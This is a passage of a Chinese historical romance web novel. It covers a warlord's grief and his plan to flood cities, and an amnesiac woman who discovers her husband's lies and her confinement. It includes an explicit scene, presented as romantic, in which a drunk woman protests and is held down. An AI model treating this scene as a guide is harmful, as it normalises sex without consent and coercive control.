范阳偏西北,地气大寒,此时已入春,仍有零星小雪落下,节度使常年厉兵秣马,城中金戈之气浓重,夤夜,月黑风高,寒意愈沉,笼盖城池,城楼上摇曳的火把被霜露打湿,如同风中之烛,忽明忽暗。 眼下范阳局势微妙,与潞州屡有冲突,李颜不敢大意,亲自镇守军营,夜宿于中军主帅大帐。 然而,今夜不知何故,外面的战马一直发出断断续续的嘶鸣,吵得李颜心烦意乱,他十分恼火,披衣而出,唤来侍从,取剑掷于地,怒道:“是何畜生在叫,去,宰了它,莫令吾不得安寝。” 侍从喏喏,弓腰奉剑而去。 李颜回帐,然而,上床未久,马鸣之声骤然再响,他怒而起身:“安敢不从吾令?” 话音未落,马鸣声愈近,马蹄踏踏,有人策马飞驰而来,越过辕门,直奔主帅大帐,未到近前,已经高声厉呼:“大人!大人!” 李颜的眼皮跳了一下,霍然抬眼望去,沉声呵斥:“何事惊慌?” 卫兵们奔跑而来,持着火把照亮四周。 那马匹跑到面前,马上的骑兵跳下来,跌在地上,翻滚了两下,挣扎着起来,爬到李颜脚下,伏地恸哭:“大人!昌平沦陷!二公子……二公子阵亡!” 李颜一瞬间呆滞了一下。 那骑兵浑身是血,一只眼睛被戳瞎了,黑洞洞的,看过去狼狈如厉鬼,他回手指着马背,嘶声喊道:“孙澄杀了二公子,还毁了二公子的尸身,只留下一个头颅还给我们,说要把这个头送给大人过目,大人、大人,二公子死得好惨,您要为他报仇啊!” 此时已经有人过去,从马背上取下一个匣子,打开来,哆哆嗦嗦地捧到李颜面前。 匣子里一个脑袋,带着半截脖子,虽然血肉模糊,但李颜仍然一眼就认出,这是他的次子李怀义。 李颜发妻早逝,膝下仅有二子,李怀恩与李怀义,他生性虽残忍无情,对这两个儿子却是真心疼爱的,此际骤然见此头颅,忍不住张嘴,喷出了一口血,踉跄了两步。 侍从惊呼:“大人!”,急急上前搀扶。 李颜一把推开侍从,抱着儿子的头颅,目眦欲裂:“昌平兵力充裕,怀义有勇有谋,孙澄不过区区一刺史,何能攻破昌平?我不信!这其中必有缘故!是谁?是谁害了我儿?” 前来报信的骑兵哽咽:“潞州有重甲骑兵增援,兵力数倍于我,以滚木砸城门,日夜不休至城破,凶悍无比,实不能敌。” 李颜暴怒,一脚将那骑兵踢飞出去:“我儿骁勇,何谓不能敌,一派胡言!” 左右副将闻讯赶过来,听此军情,其中一人愤声道:“潞州不过七八万步卒,无骑兵可遣,难道是西宁伯背刺大人?” “非也。”李颜喘着粗气,抹了一把嘴角的血,“我遣斥候在渭州,探知渭州骑兵未动。” 左右对视一眼:“莫非……” 李颜咬牙切齿:“除了朝廷,谁能调动这样的兵力,难怪皇帝屡屡下旨,令我不得擅动干戈,原来他除掉了淮王这个心腹大患,如今鸟尽弓藏,连我也要一并除去吗?好算计!” 他低头看了看儿子的头颅,双目尽赤:“可惜了,我不是淮王那种迂腐之辈,由不得他摆布,想要我死?做梦!我倒要看看,究竟鹿死谁手?” 第58章 第58章松花酿酒,你是甜的…… 他当机立断,唤来亲兵:“去,去长安,传我的话,叫怀恩马上回来,如今已经无须再和皇帝虚与委蛇。” 亲兵领命而去。 副将见此情形,明白主公的打算,上前低声劝阻:“大人,怀州与齐州方面正在安排,只待洪水淹城,当地民众可揭竿而起,与郑州相呼应,大乱之际,我等起兵平乱,一路东进,天下归心,再无阻碍,而今春汛未至,还请大人节哀,以大局为重,静候时机。” 左右亦纷纷劝说:“时机未到,请大人三思。” 李颜喘着粗气,慢慢地将儿子的头颅放回匣中,声音逐渐恢复冷静:“我们谋划多年,精兵在握,坐拥卢平、河东、范阳,且有洛州、涿州及郑州为盟,与半壁江山无异,皇帝怎不见疑?朝廷假借潞州之手,步步逼近,今日是昌平,明日就是范阳,我等岂可坐以待毙?” 他冷笑了起来,面色阴沉:“我早先顾虑者,唯有淮王赵上钧,如今赵上钧为朝廷所弃,重伤不能战,玄甲军折于北庭,不复旧日威风,正是大好时机,若待赵上钧伤愈,岂非又添我烦恼?春汛未至,何妨?我替天公催上一回,去怀、齐二地,命人炸开堤坝,引水入城!” 左右怵然,齐齐低头应诺。 营地里火把渐次点亮,把夜色照得通红,霜露蒸发,白雾弥散,战马被惊起,刨动着蹄子,发出了不安的嘶鸣。 —————————— 越数日,赵上钧在附近的山头上寻到了一片松林,亲自去采了一筐松花回来。 彼时,日方出,他归来时,犹带山中朝露和晨间的雾。 傅棠梨隔着窗瞧见了,出屋迎上去,踮起脚,用帕子拂去他发鬓上的水气:“真真好雅兴,大早的,怎么巴巴出去采了这些个东西回来?莫非修道之人不近人间烟火,只食山中风露吗,我看你却不像。” 赵上钧放下筐子,接过傅棠梨手中的帕子,慢条斯理地擦着手:“昔日,夫人尝有云,我乃神仙中人,这世间草木皆凡俗,唯有梅花酿酒,差强人意,与我相配,但如今冬去雪消,梅花不复,我看这松花照碧,也是不俗,夫人既要请我喝酒,不若以松花为酿,我与夫人同做神仙,何如?” 傅棠梨想起那日说“请你喝酒赔罪”的情形,脸上一红:“出家人当戒荤酒,偏你还惦记这个,真是罪过。” 赵上钧似笑非笑的:“这酒当初也是 你勾引我喝的,如今怎么不认?” 时常听他提及旧事,仿佛日子都是寻常,过往不至无迹可寻,这种感觉令傅棠梨逐渐安定下来,不再似刚醒来时一片茫然,便也罢了,记不记得起来都无妨,只要这个男人在身边,心里大抵还是踏实的。 她望着他,微微地笑了起来:“反正我什么都不记得了,横竖都是你说的,我竟做过许多坏事,我是不信的。” 既说要以松花入酒,二人遂收拾了一番,同往街市沽酒。 这里是永寿,属咸阳管辖,位于渭河下游,河道开阔,自古便是良港,南北商旅贩运货物从水路来,大多经由永寿再转往长安,镇子因此还算富庶安乐,街市上商铺林立,各色杂货物品大抵都不缺。 行不多时,便见青旗在望,街角处有一家小酒肆。 傅棠梨同赵上钧一道进了酒肆,铺中一妇人立即起身,殷勤招呼:“客官要沽酒吗?黄酒、白酒、果酒、药酒一应俱全,剑南春、石冻春、五云浆、柳林酒、桑落酒、新丰酒……只要您报上名儿,我这都有。” 她这一口气说上一连串不带喘的,把傅棠梨听得笑了:“倒不要很多,我自己家里要做松花酿,还须得清酒才合宜。” “有、有。”卖酒妇人一叠声应道,“要说清酒,我这儿有郎官清、阿婆清,都是产自虾蟆陵的好酒,您莫看我们这小地方,这酒水啊,一点不比长安差。” 傅棠梨想了想,道:“郎官清吧,我尝尝味儿。” 卖酒的妇人响亮地应了一声,抖了抖围裙,拿了酒勺,开坛子打酒,手脚利落得很。 这妇人是个嘴碎的,寻常来了客人都得聊上半天,因着傅棠梨和赵上钧二人容貌过于出色,她忍不住看了又看,赵上钧身量高硕,眉宇间自带高傲冷肃之气,她不敢多说,只逮着傅棠梨使劲唠叨:“我这酒肆在镇上开了许多年了,我看娘子却面生,敢情是新搬来的?我们永寿可是好地方,娘子算是来对了,往后长长久久住下去,多来光顾光顾我。” 这妇人圆脸细目,笑起来眼睛眯成一条缝,讨喜得很,傅棠梨也乐于和她随意闲聊两句:“确是新搬来的,不过这里有甚好?地方小小的,我正嫌闷呢。” “咭,娘子这就不懂了,永寿归咸阳管,我们咸阳县令何大人是个难得的好官,把这一带打理得清清楚楚,路不拾遗,夜不闭户,百姓无饥馁之患。”妇人一边做事,一边口中不停,“我们这些升斗小民,不就是图个太平日子吗,你说,永寿怎么不算好?” 傅棠梨并不在意,笑着点头应道:“如此说来,确实不错。” 卖酒妇人打好酒奉上,赵上钧不问价钱,直接丢给她一块碎银:“多的赏你。” 妇人喜出望外,千恩万谢。 赵上钧取了酒,顺口又问了一句:“此处可有梨花春?” 妇人飞快地将碎银收到袖中:“寻常是有的,这梨花春却是北边胡人酿的酒水,有点稀罕,我这小店不曾备下。” 傅棠梨闻言不禁笑道:“方才是谁夸了海口,只要报上名儿,你这都有。” 那妇人自己也笑,因她多收了赵上钧的银子,多少有些过意不去,犹豫了一下,探出身去,指了指东头:“客官若要梨花春呢,往那边,再过一条街坊,周口巷子有一家王记酒水铺,他们家生意做得大,估摸着有这玩意。” 她说完,又有些后悔,讪讪地道:“但王家掌柜是个老滑头,论起来,我家的价钱比他公道许多,客官往后可得还到我这来买。” 赵上钧哂然一笑,遂携傅棠梨同往。 …… 王记酒水铺子里,伙计们进进出出,赶着把新到货的酒水搬进后院库房,又把其中几样开了坛,摆在外头做招牌,酒香四溢,传出老远。 王掌柜一边忙乎,一边和贩酒的李姓商人交涉:“怎么价钱又比上次涨了些,我与李当家多年交情,李当家还要蒙我,不地道。” 李当家只是笑,分毫不肯让步:“这不是,去年突厥人和淮王在北庭打了一场大战,凶险得很,除了我这样不要命的,你看看,还有谁去运货回来?如今北边过来的东西,别说酒水,就其他的,价钱也都比往常要高,物以稀为贵嘛,你若要,我就给你,若不要呢,我照样拉走,不愁卖不出去。” “行了、行了,难为你回回有说辞,不见重样。”王掌柜忍不住抱怨。 正说话间,有一男一女进了酒水铺子,掌柜远远望去,见此二人容貌气度皆不凡,不敢怠慢,舍了李当家,亲自上前招呼:“二位,想买点什么酒?” “可有梨花春?”赵上钧扫了一眼货架上的酒坛子。 王掌柜赔笑,连连拱手:“旧年的梨花春前两月卖光了,这酒呢,既以梨花为名,应在三月间酿造为最佳,故而今年的新酒还未出,客官来得早了。” 赵上钧不免扫兴:“这般不巧?” 傅棠梨忍不住好奇:“此酒究竟是何滋味,让你这样费心寻它?” 赵上钧目中带着温和的笑意:“我昔年曾在塞外喝过此酒,滋味也就一般,只它的名字起得好,我如今想了起来,颇觉欢喜,梨花春,我与梨花共饮一盏春。” 傅棠梨会意过来,脸上泛起红霞,偷偷地捏了捏他的手:“偏你闲的,多事。” 王掌柜见状,在旁笑道:“这也不难,恰好今日贩酒的行商在这,他专往北面去进货,待我问问他,几时再有梨花春来,约个日子,客户您下回过来,我给您留一坛。” 他说着,扭头打算把人叫过来:“李当家,这边……咦?” 李当家方才还在柜台前面站着,就这一转眼的工夫,人不知上哪儿去了。 王掌柜却也圆滑,立即把梨花春之事抛开,转而又道:“客官若是喜欢北边的酒水,我这还有马乳蒲萄酒,略有酒意而已,具甘露之香、兼蜜糖之味,性甘醇,饮之可使人面若桃花,很讨女郎们的欢心,客官可要买上一些尝尝?” 赵上钧今日心绪颇佳,看了傅棠梨一眼,见她只是笑,遂道:“可。” 少顷,沽了酒,二人相携离去。 王掌柜回转过来,欲将收到的银钱纳入钱匣,待走到柜台后,却见李当家躲在里面,蹲着身子,抱着头,整个人缩成一团。 掌柜吓了一跳:“嚯,在我这儿跟做贼似的,吓唬谁呢?” 李复哆嗦着,手脚并用,爬了两步,偷偷地探出脑袋,张望了一下:“方才的客人,走了吗?走了吧?” “走了、走了。”王掌柜皱眉,“怎么着,莫非是你的仇人不成?怕成这样。” 李复战战兢兢,观望许久,确认赵上钧已经走远,他终于松了一口气,站起身,复挺直了腰,一扫惧容,面上泛起兴奋之色,拍掌笑道:“哪里是我的仇人,那竟是我的贵人!东宫贴出了告示,生要见人、死要见尸,有寻获太子妃者,赏黄金百两,今日她倒自己撞上门来,待我跟上去查探一番,嘿,真是合该我要发财。” 王掌柜闻言,大惊失色,手里的银钱都掉在了地上。 —————————— 庭院幽深,燕子衔泥筑于檐下,日光方煦,松香未散,樱桃未熟,一方湘妃簟铺陈于樱桃树下,闲暇时,赵上钧席地而坐,置琴于膝头,拨弄琴弦,一曲长清,琴音与燕啼相应和,春日光阴缓缓。 傅棠梨在庭中支起熏笼,以松木炭烘烤松花,白烟如絮,山林间的水雾渐渐褪去,泛起人间烟火气。 未多时,松花干燥,遂取出,以手揉搓,花粉簌簌而落,清气盈满衣袖,以竹匾粗筛、细筛、再筛,三筛而成,得松粉如云团,又取三钱琥珀研磨成末,和入松粉,嗅之犹带木香,盛入细绢口袋,紧束其口,置清酒坛中,油纸四层封蜡,乃成,置于墙角滴水檐下。 “如此便好。”傅棠梨望着赵上钧,她的目光柔软如春色,“静候四月,待立夏小荷初开时,松花酿可成,彼时,恰好与你纳凉饮酒。” 赵上钧信手弄弦,慢悠悠地道:“这么说来,请我喝酒赔罪,却需待到四月后?可见毫无诚意,令人伤感。” 傅棠梨抿着嘴笑:“还不是你指名要喝松花酿,我费了这么老大劲弄它,你如今又矫情起来,真是讨人嫌。” 口中这么说着,她却回头去屋里把那坛蒲萄酒抱了出来,坐到赵上钧身边:“喏,这有现成的,先请你喝这个。” 赵上钧停了琴,取过酒坛,拍开坛口的封泥,仰起脸,直接灌了两口。 傅棠梨用手指头戳了戳他:“这酒滋味如何,好喝吗?” “如蜜糖水,甜腻有余,未见酒味,这算不得你请我喝酒赔罪,我不认的。”他面色沉稳,目中带着温和的笑意。 傅棠梨不信,举起空酒盏,递到他面前,挑了挑眉毛。 赵上钧会意,为她斟了一盏酒。 傅棠梨喝下那盏酒,“啧”了一声,瞥了赵上钧一眼,眼波流转,水汪汪的,带了一点娇嗔:“我这会儿想起来了,你前几日说过,我酿春酒赠你,饮之淡如白水,原来并非我手艺不佳,是你口味太过刁专,譬如这蒲萄酒,分明好味,偏你还挑剔上了。” 赵上钧既不爱喝,她索性抱过那小坛子,自己给自己倒酒喝,顺便随口和他絮叨几句,“对了,说起 来,今儿到镇上走了一圈,才发现这地界忒小,没得消遣去处,真真乏味得很。” “嗯?”赵上钧好脾气地哄着她:“那依你说,该如何?” 傅棠梨懒洋洋地倚靠在他身上,一盏一盏慢慢地喝着酒,漫不经心地道:“我记不得当初怎么就叫你搬到这边过来,反正如今我是反悔了,你既和长安亲眷不睦,不如我们再离他们远些儿,去南边,烟雨水乡,自有风物如画,或者往北边去,塞外大漠孤烟、长河落日,也是一番景致,总比拘泥于这一方狭隘天地来得强。” 卖酒者云,蒲萄酒性甘醇,饮之可使人面若桃花,果不其然,她才喝了几杯,脸颊便染了一层脂粉,红扑扑、毛绒绒,似春天的蜜桃,鲜嫩多汁。 叫人手痒。 赵上钧抚摸着她的脸颊,手指一路滑过,到了嘴唇,辗转摩挲,他低低地笑:“你当日只说远离纷争,找个僻静地头,做一对寻常百姓夫妻便好,如今时过境迁,忘了当日所苦,竟然又贪心起来。” 他的指尖带着一层薄茧,摸在嘴唇上,那种触感,宛如烈日暴晒过的砂砾,干燥、粗糙、而且炙热。 傅棠梨觉得不太舒服,下意识地舔了舔嘴唇,一不留神,舌尖蹭过他的手指。 他倏然深吸了一口气。 她脸色酡红,斜乜他,眼波朦胧:“我怎么就贪心了,你就说,依是不依?” “我手头有一桩要事,这关口上离不得长安太远,你多担待些,先在这地方养养病,我估摸着,到今岁末就差不多了,届时万事安定,你若要走远些,我们就去渭州,那是你儿时故里,你回去看看,指不定能记起些什么,总之,届时你说如何,便如何,都依你。”赵上钧如是回道。 他抬手取走了她的酒盏,将她揽入怀中,揉了揉她的头发:“只眼下,你不能再喝了。” 傅棠梨想要拿回酒盏,手抬起来,却扑了个空,她有些迷糊了,软绵绵地躺倒在赵上钧的膝盖上,揪着他的衣袖摇摇晃晃,嘟囔着:“为什么不让喝?忒小气。” 赵上钧有些无奈地笑,“真是奇怪,渭州地处西北,民风豪迈,多善饮者,怎么到了你这,一杯就倒,未免太差,莫非你是个假冒的渭州人士?好了,别喝了,再喝又要醉了。” “嗯哼?”傅棠梨从鼻子里发出一点软软的声音,她的手指爬爬爬、从赵上钧的衣袖一路爬上去,抓住他的胳膊,使劲扒拉他,黏黏糊糊地撒娇,“甜甜的,好喝,就喝一点,有什么要紧,我醉了又会如何?” 赵上钧低头望着她,春日煦软,阳光宛如碎金,透过婆娑的樱桃树,落在她的眼角眉梢,妩媚而热烈,她嘴唇微张,沾着湿漉漉的酒渍。 他托起她的后脑勺,慢慢地俯下身,舔了舔她的嘴唇,蒲萄酒的滋味,又香又甜。 “你醉了,会抱着我……”他的声音很低。 “这样吗?”傅棠梨吃吃地笑了起来,手臂绕过他的颈项,抱住他,柔软如同春柳。 “会亲我……”他的呼吸越来越急促。 “嗯?这样吗?”她咕哝着,亲他,他的眉毛、他的眼睛、他的鼻子,胡乱地、细碎地、如春雨扑面,将湿未湿。 燕子在檐下呢喃,几只小麻雀在樱桃树上叽喳不休,或许还有小虫子藏在草木中,发出啁啁的鸣叫,以及,心脏跳动的声音,怦怦咚咚,吵闹得很。 “还会骗我……”赵上钧发出宛如叹息般、轻轻的声音,捧着她的脸,吻了下去。 胡扯呢,那怎么能?她心里这么想着,模模糊糊地哼了几声。 那声音就像猫爪子挠过人的心尖尖,痒得要命。 赵上钧突然在心里升起这么一个念头,如果她想不起来、永远都想不起来……会如何呢? 阴暗而甜蜜,一旦思及,便如同危险的罂粟,疯狂滋长。 他紧紧地抱着她,几乎想把她嵌入自己的身体,身体燥热,汗水淋漓。 她迷离着眼,窝在他怀里,多少还记得一些事儿,软软地推他:“不要,别,上回那样,难受……累煞我也,再不能了。” “是我错了,那这回,换我来伺候夫人,可好?”他贴在她耳鬓边,小声地,这么哄骗她。 “唔?”她实在醉得厉害,脑瓜子也转不太动了,不太明白他的意思,隐隐约约觉得有些不对味,但分辨不出来,也无力去分辨。 她瘫倒在樱桃树下,黑色的长发铺陈在湘妃簟上,如同水墨晕染一地,而她丰肌酥凝,珠圆玉润,又像是刚刚蒸出来的糯米糕,鲜嫩近乎透明。 明艳而颓废。 赵上钧缓缓俯下身去。 “啊!”她像一只骤然被拎到岸上的鱼,惊得一扑腾:“你、你做什么?” 他在那团糯米糕上亲吻、舔食、抚慰,唇舌辗转流连,连声音都带着一点粘稠的意味:“喝酒……”,他很轻地笑了一下,下了一个论断,“你很甜。” 他是那么清冷而高贵,宛如天上仙人一般,连一点尘埃都沾不得,而此时此刻,却俯就她,低入凡俗的腌臜中。 她好像懂了、又好像没懂,浑身发抖,颤栗的感觉从脚底窜到头顶,头皮发麻,无法抑制,泣不成声:“不、不、不能,很脏!” 她挣扎着、想把腿蜷缩起来,但被他牢牢按住,一点都没法动弹。 他的舌头也是滚烫的,叫她发抖。这种感觉太难以忍受了,浑身上下都酥了,稍微触碰一下,就要碎成片,而后四散入云端,简直要叫人发狂。 她啜泣着,胡乱抓挠,却碰到他的头,把手指插进他的发间,拉扯他,想让他起身。但是,没办法,没有半分力气,指尖在他的发丝间揉来弄去,或许更像是一种天真无邪的挑逗。 “玄衍、玄衍……”她醉了,哭了起来,近乎欢愉,在这醉生梦死的幻境中。 葡萄酿酒,如蜜糖水,甜腻有余,春日的午后,酒的香气流连在唇齿间,风都是微醺的。 …… 有侍者从外面来,远远地立在中庭门边,躬身不敢抬头,低声禀道:“有使自潞州来,求见主人。” 赵上钧看了看怀里,傅棠梨已经睡着了,她闭着眼睛,浑身肌肤绯红,发丝凌乱纠缠,湘妃簟湿透了,一大片暗色的痕迹,被她压在腿下。 他眼眸中的赤红慢慢消褪,喘息良久,抬手,做了个姿势。 侍者立即退下了。 赵上钧抱起傅棠梨回到房中,替她清洗了身子,安置在床上,轻轻地拉了罗被给她盖上,掖了掖被角,放下床幔,又唤女使来,守在房中,叮嘱再三,方才离去。 —————————— 傅棠梨又做了一个梦。 在梦里,她醉了,神思恍惚,如坠云雾间。 咫尺之外,华灯如昼,雕梁画栋,觥筹交错,歌舞丝竹,唯有她,被那个男人堵在黑暗的角落里,见不得光,她被压倒在案几上,仰着脸、望着他,心跳如擂鼓。 他不似往日,在这个梦里,他冰冷而威严,居高临下地俯视着她,他的身形过于高大,所形成的阴影将她完全笼罩,浓郁的、压抑的、令人无从逃脱。 “来,看着我,说,你是谁?我又是谁?” 他望着她,目光如同锐利的剑锋,几乎刺穿她的心脏。 你是谁?我又是谁? 她的脑子乱纷纷的,好像回答了他、又好像没有,她醉得太厉害了,在这梦里无法分辨自己究竟说了什么。 黑暗中,云雾弥散,看不清他的表情,他似乎叹了一口气,声音低沉:“原来是这样,你喝醉的时候就是爱撒谎。” 四下无人之际,如同耳语。 不、不是。 她摇着头,仓皇地伸出手,想要拨开眼前的迷雾,一团团、一重重,挥之不去,遮挡了她的视线,眼前的一切逐渐模糊。 …… 软烟罗的床幔逶迤于地,露出一条缝,午后日光正好,漏了一线。 傅棠梨微微睁开眼睛,周遭似明还暗,十二结环扣流苏从床幔的顶端垂落下来,那丝线是用孔雀翎毛和翠鸟尾羽糅合织就,在眼前变幻着绮丽的流光。 偶有一两声鸟鸣在窗外,光 影朦胧,春思困倦,好像怎么也醒不过来。 家里的仆妇云娘和小婢子守在外间,有一搭没一搭地在闲聊着,隔着一层屏风,说话的声音听过去断断续续的,有些不太真切。 “这会儿睡着……既得闲,不如……刚运到那几箱衣裳拾掇拾掇,这里不比……人多,做事的就你我……何苦白坐着浪费工夫。”那是小婢子的声音,轻快又活泼。 “不成。”年长的云娘说起话来就稳重了许多,不紧不慢的,“主人吩咐……不在的时候,务必把……人看好了,片刻都离不得,你别……,若出什么岔子,谁也救不得……” 小婢子失笑:“青天白日……前后重兵把守着……什么闪失,你就吓唬我。” 重兵把守?傅棠梨迷迷糊糊地听着,隐约觉得有些不对的地方,她的手指头动了动,努力地想从梦中清醒过来。 云娘的声音有点低:“你不晓得……性子急躁,早先在江心别院服侍过她……跳江逃走……主人大发雷霆,这次可不能……” 她在说什么? 傅棠梨遽然瞪大了眼睛,心跳瞬间几乎停止。 第59章 第59章淮王露馅了 小婢子仍在笑:“……什么都不记得,怕甚?” 喝下的酒水都化作了冷汗,从后背冒了出来,浑身湿漉漉、冰凉凉,好似在数九寒冬之际掉入冰窟中,冷浑身都要冻僵了。傅棠梨醉意全无,紧紧地拽住了手心,脑子里嗡嗡噪噪,似有磬儿、钹儿、铙儿一并作响,混乱而尖锐,刺得她喘不过气来。 云娘严厉了起来,小声地呵斥了婢子:“小心着点,别胡乱说话,若是叫夫人听了去,有你……” 小婢子终于安分了,嘟囔了两句,不再呱噪。 樱桃树上的鸟雀又开始闹腾起来,好似和屋檐下的燕子在吵架,两边唧唧啾啾地叫个不停,春日的风拂过,枝叶发出一点沙沙的声响,安静而柔软。 傅棠梨躺在床上,僵硬着,一动不动,背后的汗水慢慢地流下来,那种感觉,像是虫子贴着肌肤爬过去,令人毛骨悚然。 日头的影子一点一点地偏走,漏进来的一线天光渐渐隐没,屋子里变得昏暗而晦涩,什么都看不清楚。 …… 不知道过了多久,傅棠梨沉沉地翻了个身,咳了一下。 云娘听见动静,赶紧进来:“夫人醒了?” 傅棠梨缓缓起身,身子还是酥的,腿脚打了个颤,险些又要倒下,她咬牙撑住了,撩起床幔,抬眼看看窗外的日色,慢吞吞地开口:“我睡了很久吗?这会儿几时了?” “也不太久,还不到酉时。”小婢子笑着,打来了热水,云娘上前服侍傅棠梨洗漱。 傅棠梨留了个心思,多看了云娘几眼。 只见云娘进退有度,一举一动如标尺丈量,为傅棠梨洗手时,低头俯身,半跪在地上,神色恭敬而沉稳,这等做派,似乎不像小门小户家中做事的。 傅棠梨心中打了个突,面上不显,坐在那里缓了许久,若无其事地问道:“玄衍呢,又出去了吗?” 云娘后退一步,回道:“主人有事,往长安一趟,嘱咐夫人不必担心,也不必等他,若乏了,早些歇息去,他今夜或许晚归片刻。” 傅棠梨点了点头,并未多说什么。 这边收拾停当,差不多该到喝药的时候了,青虚子老道士进来,端了一碗药汤。 傅棠梨的失魂症尚未治愈,两位大夫依旧留在这里为她治病调理。何大夫十分拘谨,甚至有些畏惧玄衍,轻易不敢踏足内院,而青虚子,因是玄衍的师父,日常进出自如,有时候还会额外念叨两句。 譬如眼下,老道士显然不悦,又说上了:“听说今儿你饮酒了,真是胡闹,这种道理还要我交代吗?酒与药性相冲,事倍功半,若不忌口,苦的是你自己,玄衍也不管管,不像话。” 傅棠梨接过药碗,叹气道:“甜食吃不得,酒水喝不得,还有前些日子师父说的,便连荤腥也少沾,这日子过得没滋没味,实在难受,师父还请睁一只眼,闭一只眼,可给我留点活路吧。” 她顿了一下,看了青虚子一眼,柔声道:“再者,药也喝了许多,却未见半点成效,也不是说师父医术不精,或许这病症就是无解,玄衍还劝慰我,记不记得都不打紧,往后把日子好好过下去就成,师父,您说,是不是这个理儿?” 青虚子似乎犹豫了一下,把目光避开了,含含糊糊地道:“依你眼下的情形,药还是先喝着吧,终归有好处。” 傅棠梨笑了一下,没有再多说,把那碗药慢慢地喝下去了,而后,她放下碗,掏出帕子按了按嘴角,好似那么顺口一提:“对了,师父,还有桩事儿,我想问问您老人家。” 青虚子挑了挑眉毛:“说吧。” 云娘和婢子候在门外,垂帘半掩,影影绰绰地可以看到人影,小婢子半刻闲不住,坐在廊下逗弄鸟雀,只有云娘站得笔直。 傅棠梨把声音压得低低的,说得吞吞吐吐,仿佛有点难以启齿:“师父,听玄衍说,我和他成亲已经好些年了,但是……”她面上泛起忧虑之色,“至今膝下未得一儿半女,我思及此处,顿感不安,不知我是否身患隐疾,有碍生育,还要请师父为我诊断看看。” 青虚子前头还拉长耳朵听着,及至后面,有些啼笑皆非:“胡说什么?我这些日子天天替你把脉,放心,你的气血通畅,生机充沛,半点毛病也无,什么隐疾,没有的事。” 傅棠梨目光一动,用帕子捂住了嘴,小小声地问:“那,莫非是玄衍……不太行?” 青虚子吓了一跳,疯狂摆手:“没有!不可能!肯定不是!可别叫他听见。”老道士惊恐地左右看看,飞快地道,“这种不着调的事儿,你不要胡思乱想的,不见得成亲早了就生得早,天地孕育,顺其自然方是正理,你们两个都还年轻,急甚?你别看玄衍是个道人,我观他体魄强健、精气旺盛,诸般皆胜于常人,这个你大可放心。” “真的吗?”傅棠梨嘟囔了一句。 “千真万确!”老道士斩钉截铁地保证道。 “好吧。”傅棠梨像是接受了青虚子这个说法,松了一口气,但转眼又忸怩起来,手里绞着帕子,露出一点羞答答的笑意,“反正,我也就随便问问,不往心里去,师父,方才那些话……怪害臊的,您别和玄衍提这个,我怕他知道了要恼我。” “嚯!”青虚子做了个杀鸡抹脖子的动作,“我和他提这个作甚?我嫌命长了吗?” 他被方才那个问题吓着了,唯恐傅棠梨再问出什么不宜的话,很快就走了。 门帘子落下,遮住了老道士的背影。 傅棠梨坐在案边,面上的笑意褪得一干二净,没有任何表情,她剧烈地喘息着,手指紧紧地抓着帕子,太过用力,以至于指节发青。 前几日,玄衍在意乱情迷之际,对她提及“我们刚刚成亲不久”云云,而今日,她试探着对青虚子说,“听玄衍说,我和他成亲已经好些年了”等语,青虚子竟未察觉有什么不对的地方。 这两个人之间,必然有一个记错了……或者是,两个人所说都是假的,他们还没来得及串供? 春寒料峭,天色渐晚,冰冷的空气从四面八方涌过来,将她笼罩其中,浑身发寒,好似整个人都被冻住了,忍不住要发抖。 这些日子的记忆全是属于玄衍的,她在这世间无所依、无所凭,睁开眼睛看见的人只有他,他的微笑、他拥抱的温度、他亲吻的味道,还有,他望着她的眼睛,深邃而温柔,令人心神安宁。 而今思及,或许她始终被困于梦境,不曾醒来。 这种窒息的感觉让傅棠梨无法忍受,她仓促起身,踉跄地走了两步,喃喃自语:“为什么……” 云娘在门外听见动静,急忙进来 :“夫人有何吩咐?” 这声音如同一盆冷水,当头泼下,让傅棠梨瞬间清醒过来。 她抬眼看了看四周,门帘低垂,屏风虚掩,案上摆着几卷道经,男人的一件道袍半搭在椅背上,一色儿半旧不新,窗外庭院清静,鸟雀啾啾,不过是寻常人家内宅,岁月静好。 她的心越来越凉,却慢慢地挺直了身体,将双手笼在袖中,看着云娘,不动声色地道:“方才我捡看妆匣子,有几样胭脂的颜色我不太喜欢,左右闲着也无事,你过来给我换身衣裳,我去镇上的胭脂铺子逛逛。” 云娘指了指外头,陪着笑脸:“这会儿天色不太早了,胭脂铺子马上关门了,夫人若去,也逛得不尽兴,不若在家先歇着,待主人回来了,改明儿再陪您出去,您看可好?” 果然是意料之中的回答。 傅棠梨神色不动,温和地笑了一下:“也好。” 云娘复退出。 傅棠梨慢慢地在房中踱了两圈。 黄昏的暮色沿着窗牖一点一点爬上屋檐、再爬上中天,鸟雀四散而归,她抬眼望向窗外,庭院空寂。她渐渐生出茫然之情,既盼玄衍回来,想要问个究竟,又怕他回来,不敢张口,左右思量,不得章法,只觉心如油煎。 …… 突然听得外面传来一阵喧哗声,好似许多人聚在门外大声吵闹,不到片刻,愈演愈烈,还有人在大声叫喊着什么,隔得有些远,听不太真切。 傅棠梨眉头一跳,趋步走出房门:“怎么了?” 云娘原在厨房忙碌,闻讯赶来,使唤小婢子出去看个究竟,口中犹自絮叨:“何来狂徒,敢到此捣乱,那些……着实无能,快打发他们安静些儿,惊扰了夫人,若叫主人知晓,定要发怒。” 小婢子飞快地跑出去。 不过一会儿工夫,外头的喧哗声便止住了,重新恢复了平静。 小婢子回来,面上带着轻松之色:“没什么事儿,左右街坊邻居起了些争执,日常琐事,我也听不明白,这会儿已经散了,夫人不用理会。” 傅棠梨隐约觉得有些不对,她本想再问两句,但看了看云娘、又看了看小婢子,还是没有多说什么,又回了房中。 天黑了,小婢子掌起了灯,烛光照在窗纱上,明亮而温暖,厨房的炊烟飘散开来,带着一点干燥的柴火味和谷物的香气,依旧是一个安宁的夜晚。 傅棠梨心情沉郁,随意喝了几口米粥,便放下碗箸。 倒叫云娘十分不安:“今儿吃食简陋,叫夫人不中意,是我的过错,若不然,我再去做些点心来,不知夫人喜欢吃什么,是要甜口的燕窝百合羹,还是咸口的鱼胶鸡汤?” 傅棠梨揉了揉额头:“不用,我有些乏了,没甚胃口。” 小婢子大惊小怪起来:“夫人可是哪里不舒服,那得叫青虚师父过来给您瞧瞧。” 这婢子就是风风火火的,不待傅棠梨发话,已经一阵风似的出去了,叫都叫不住。 而就在这时,外间喧哗声再起,比方才还大了些,人声沸沸,听过去又急又乱。 云娘皱眉:“又怎么了?没个消停。夫人莫恼,待我出去看看。” 她这么说着,转身就走,才到门边,和跑回来的小婢子撞了个满怀。 小婢子气喘吁吁,一把抓住云娘的手,满脸惊惧:“不、不得了,走、走水了!” 傅棠梨心下一惊,急急出去:“哪里走水了?我们家吗?” 